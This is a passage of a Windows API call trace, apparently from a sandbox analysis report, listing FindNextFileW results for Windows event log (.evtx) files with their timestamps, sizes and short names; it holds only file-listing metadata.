ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0069.850] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0069.851] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0069.851] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0069.851] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0069.851] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0069.851] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0069.852] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0069.852] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0069.852] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0069.852] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0069.853] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0069.853] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0069.853] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0069.853] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0069.853] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0069.853] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0069.854] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0069.854] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0069.854] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0069.854] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0069.855] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, 